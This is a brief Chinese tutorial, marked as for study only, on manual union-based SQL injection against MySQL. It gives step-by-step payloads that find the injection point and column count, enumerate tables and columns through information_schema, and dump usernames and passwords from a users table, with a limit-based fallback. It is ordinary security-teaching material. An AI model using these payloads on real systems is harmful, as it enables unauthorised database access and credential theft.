SQL手工注入基础知识

(本文仅用于交流学习)

sql注入是web安全里的一个对数据库进行注入从而让服务器输出关键信息的手段。在sql注入中,一般需要先获取库名,然后获取库表名,表中字段名,最后查询数据。

1、判断注入点,进行注入测试

首先测试是字符型或数据型注入,寻找能够破坏sql语句结构的输入点。

1' or 1=1#
admin' or '1'='1'

2、猜解sql查询语句中的字段数

接下来,就需要利用order by 猜测SELECT语句查询了多少列

1' order by n#

语句中的n代表让第n列回显。如果在第n行报错,则证明表中一共有n-1列数据。

3、确认回显位置

找出页面上打印了哪几列的数据必须要让前半句查询找不到数据(可以使用负数-1),联合查询的结果才会显示在第一行

例如以下payload:

1' union select 1,2,3#

如果页面上显示了数字2和3,那么说明第2、3列是回显位,接下来的payload都在这里构造

4、获取数据库信息

获取当前数据库名

-1' union select 1,database(),回显位置#

获取库中的表名

利用information_schema.tables 查询当前库中的所有表

-1' union select 1,group_concat(table_name),回显位置 from information_schema.tables where table_schema=database() #

获取表中字段名

利用information_schema.columns 查询目标表的列名

-1' union select 1,group_concat(column_name),回显位置 from information_schema.columns where table_name='users' and table_schema=database() #

5、提取最终数据

使用concat_ws (带分隔符的连接)结合group_concat 将多行多列数据一次性输出。

-1' union select 1,group_concat(concat_ws(':', id, username, password)),3 from users #

6、应对group_concat被过滤的情况

当目标禁用了group_concat 或者限制输出长度,可以使用limit逐条读取:

-1' union select 1,concat_ws(':', username, password),3 from users limit 0,1 # (获取第1条)

-1' union select 1,concat_ws(':', username, password),3 from users limit 1,1 # (获取第2条)
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐